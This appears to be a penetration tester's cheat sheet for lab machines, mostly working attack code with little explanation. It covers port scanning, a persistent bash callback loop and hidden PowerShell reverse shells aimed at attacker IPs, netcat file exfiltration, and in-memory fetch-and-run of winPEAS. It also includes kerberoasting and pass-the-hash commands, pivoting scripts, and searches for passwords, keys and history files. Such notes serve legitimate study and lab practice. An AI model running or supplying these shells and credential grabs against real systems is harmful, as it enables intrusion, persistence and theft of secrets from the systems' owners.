Notes

nmap -sC -sV -Pn -T4 -p- -v --open $IP -oA $IP.full.detailed.tcp

# full TCP sweep, then service detection on what came backnmap -p- --min-rate 5000 -T4 -oA scans/all $IPnmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' scans/all.nmap | paste -sd,) -oA scans/svc $IP

# vhost fuzzing — filter on the size of the default responseffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0

# vhost fuzzing — filter on the size of the default responseffuf -u http://FUZZ.$DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0

bash -i >& /dev/tcp/<IP_Addr>/<port> 0>&1

nc -lnvp <port>

# stabilise a reverse shellpython3 -c 'import pty;pty.spawn("/bin/bash")'# Ctrl-Zstty raw -echo; fgexport TERM=xterm SHELL=/bin/bash

#!/bin/bashrhost=""rport=9001delay=5while [[ $# -gt 0 ]]; do  case "$1" in    -rhost) rhost="$2"; shift 2 ;;    -rport) rport="$2"; shift 2 ;;    -delay) delay="$2"; shift 2 ;;    *) echo "Unknown: $1"; exit 1 ;;  esacdoneif [[ -z "$rhost" ]]; then  echo "Usage: $0 -rhost <ip> [-rport 9001] [-delay 5]"  exit 1fiwhile true; do  bash -c "bash -i >& /dev/tcp/$rhost/$rport 0>&1" 2>/dev/null  sleep "$delay"done

chmod +x callback.sh./callback.sh -rhost 10.10.15.119 -rport 4444# background it:nohup ./callback.sh -rhost 10.10.15.119 -rport 4444 >/dev/null 2>&1 &disown

nc -lnvp 4444

param(    [Parameter(Mandatory=$true)][string]$rhost,    [int]$rport = 9001,    [int]$retry = 5)while ($true) {    try {        $client = New-Object System.Net.Sockets.TCPClient($rhost, $rport)        $stream = $client.GetStream()        $buf = New-Object byte[] 65536        $enc = New-Object System.Text.ASCIIEncoding        $sb = $enc.GetBytes("PS " + (pwd).Path + "> ")        $stream.Write($sb, 0, $sb.Length); $stream.Flush()        while (($i = $stream.Read($buf, 0, $buf.Length)) -ne 0) {            $cmd = $enc.GetString($buf, 0, $i)            try {                $out = (iex $cmd 2>&1 | Out-String)            } catch {                $out = "$_`n"            }            $out += "PS " + (pwd).Path + "> "            $ob = $enc.GetBytes($out)            $stream.Write($ob, 0, $ob.Length); $stream.Flush()        }        $client.Close()    } catch {        # connection failed or dropped — wait and retry    }    Start-Sleep -Seconds $retry}

powershell -ep bypass -f rev.ps1 -rhost 10.10.15.119powershell -ep bypass -f rev.ps1 -rhost 10.10.15.119 -rport 4444powershell -ep bypass -f rev.ps1 -rhost 10.10.15.119 -rport 4444 -retry 10

Start-Process -WindowStyle Hidden powershell -ArgumentList "-ep bypass -f C:\Windows\Temp\rev.ps1 -rhost 10.10.15.119"

powershell -ep bypass -nop -w hidden -c "while(1){try{$c=New-Object System.Net.Sockets.TCPClient('10.10.15.119',9001);$s=$c.GetStream();$b=New-Object byte[] 65536;$e=New-Object System.Text.ASCIIEncoding;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=$e.GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS> ';$o=$e.GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()}catch{};Start-Sleep 5}"

while true; do rlwrap nc -lvnp 9001; sleep 1; done

netexec ldap $DC -u $USER -p $PASS --kerberoasting roast.txt

hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt

psexec.py -hashes :hash domain/user@target

crackmapexec smb target -u user -H hash

GetNPUsers.py domain/ -usersfile users.txt -format hashcat

bloodhound-python -d $DOMAIN -u $USER1 -p $PASS1 -dc $DC -ns $IP -c All --zip

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-arm64.tar.gz

tar -xvzf bloodhound-cli-linux-amd64.tar.gz

./bloodhound-cli install

./bloodhound-cli resetpwd

# on the attacker boxpython3 -m http.server 8000# on the targetcurl -sO http://$LHOST:8000/linpeas.sh || wget http://$LHOST:8000/linpeas.sh

scp file user@target:/path/

nc -lvp 4444 > file

nc attacker 4444 < file

ssh -L 8080:localhost:80 user@target

./chisel server -p 8000 --reverse

chisel.exe client attacker:8000 R:1080:socks

#!/usr/bin/env python3import socket, threading, argparse, sys, signalshutdown = threading.Event()def pipe(src, dst):    try:        while not shutdown.is_set():            data = src.recv(4096)            if not data:                break            dst.sendall(data)    except OSError:        pass    finally:        try: src.close()        except OSError: pass        try: dst.close()        except OSError: passdef handle(client, lhost, lport):    if shutdown.is_set():        client.close()        return    try:        remote = socket.create_connection((lhost, lport), timeout=5)    except OSError as e:        print(f"[!] Connect to {lhost}:{lport} failed: {e}")        client.close()        return    threading.Thread(target=pipe, args=(client, remote), daemon=True).start()    threading.Thread(target=pipe, args=(remote, client), daemon=True).start()def main():    p = argparse.ArgumentParser()    p.add_argument("-lhost", default="127.0.0.1")    p.add_argument("-lport", type=int, required=True)    p.add_argument("-rport", type=int, default=9898)    a = p.parse_args()    def stop(signum, frame):        print("\n[*] Shutting down...")        shutdown.set()    signal.signal(signal.SIGINT, stop)    signal.signal(signal.SIGTERM, stop)    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    s.bind(("0.0.0.0", a.rport))    s.listen(50)    s.settimeout(0.5)    print(f"[+] 0.0.0.0:{a.rport} -> {a.lhost}:{a.lport}  (Ctrl+C to stop)")    while not shutdown.is_set():        try:            c, addr = s.accept()        except socket.timeout:            continue        except OSError:            break        print(f"[+] Conn from {addr[0]}:{addr[1]}")        threading.Thread(target=handle, args=(c, a.lhost, a.lport), daemon=True).start()    s.close()    print("[+] Done.")    sys.exit(0)if __name__ == "__main__":    main()

python3 fwd.py -lport 8080                # exposes 127.0.0.1:8080 on VM:9898python3 fwd.py -lhost 127.0.0.1 -lport 3306 -rport 13306

param(    [string]$lhost = "127.0.0.1",    [Parameter(Mandatory=$true)][int]$lport,    [int]$rport = 9898)$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $rport)$listener.Start()Write-Host "[+] 0.0.0.0:$rport -> ${lhost}:${lport}"function Start-Pipe($src, $dst) {    [System.Threading.Tasks.Task]::Run([Action]{        $buf = New-Object byte[] 4096        try {            while (($n = $src.Read($buf, 0, $buf.Length)) -gt 0) {                $dst.Write($buf, 0, $n)                $dst.Flush()            }        } catch {} finally {            try { $src.Close() } catch {}            try { $dst.Close() } catch {}        }    }) | Out-Null}while ($true) {    $client = $listener.AcceptTcpClient()    $addr = $client.Client.RemoteEndPoint    Write-Host "[+] Conn from $addr"    try {        $remote = [System.Net.Sockets.TcpClient]::new($lhost, $lport)    } catch {        Write-Host "[!] Connect to ${lhost}:${lport} failed: $_"        $client.Close()        continue    }    $cs = $client.GetStream()    $rs = $remote.GetStream()    Start-Pipe $cs $rs    Start-Pipe $rs $cs}

powershell -ep bypass -f fwd.ps1 -lport 8080powershell -ep bypass -f fwd.ps1 -lhost 10.10.20.15 -lport 445 -rport 4445

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o l.sh# Transfer to victimchmod +x l.sh

wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o pspy64# Transfer to victimchmod +x pspy64

find / -perm -4000 2>/dev/null

sudo -l

cat /etc/crontab

ls -la /etc/cron.d/

# Grep common config/script locationsgrep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null# History and env filescat ~/.bash_history /root/.bash_history 2>/dev/nullcat ~/.*_history /home/*/.*_history 2>/dev/nullenv; cat /proc/*/environ 2>/dev/null | strings# Scripts, cron, servicesls -la /etc/cron* /var/spool/cron/ 2>/dev/nullgrep -rEi "pass|user" /etc/cron* /etc/systemd/ 2>/dev/null# Web app configs (very common on HTB)find / -name "wp-config.php" -o -name ".env" -o -name "config.php" \       -o -name "settings.py" -o -name "web.config" 2>/dev/null# DB, SSH, backupsfind / -type f \( -name "*.kdbx" -o -name "*.bak" -o -name "*.old" \       -o -name "id_rsa*" -o -name "*.pem" \) 2>/dev/null# Binaries with embedded stringsstrings /path/to/suid_or_custom_binary | grep -i pass

# winpeas (obfuscated, any-arch)wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe# winpeas ps1 variantwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.ps1

:: your kali: sudo python3 -m http.server 80  (or impacket-smbserver share . -smb2support)certutil -urlcache -split -f http://%LHOST%/winPEASany_ofs.exe C:\Windows\Temp\wp.exeC:\Windows\Temp\wp.exe log

iwr http://$env:LHOST/winPEASany_ofs.exe -o C:\Windows\Temp\wp.exeC:\Windows\Temp\wp.exe log

$url = "http://10.10.15.199/winPEASany_ofs.exe"$wp = [System.Reflection.Assembly]::Load([byte[]](iwr $url -UseBasicParsing | Select -Expand Content))[winPEAS.Program]::Main("")

iex (iwr http://$env:LHOST/winPEAS.ps1 -UseBasicParsing)

systeminfo

whoami /priv

wmic service get name,pathname

# Unattend / sysprep filesGet-ChildItem C:\ -Include Unattend.xml,sysprep.xml,sysprep.inf -Recurse -EA 0# Registry autologon + saved credsreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"cmdkey /listreg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s# Group Policy Preferences (Groups.xml → cpassword)Get-ChildItem \\<dc>\SYSVOL -Recurse -Include *.xml -EA 0 | Select-String cpassword# Recursive file searchfindstr /si "password" *.xml *.ini *.txt *.config *.ps1 *.bat *.vbs 2>nul# IIS / web%windir%\system32\inetsrv\appcmd.exe list apppool /@t:*type C:\inetpub\wwwroot\web.config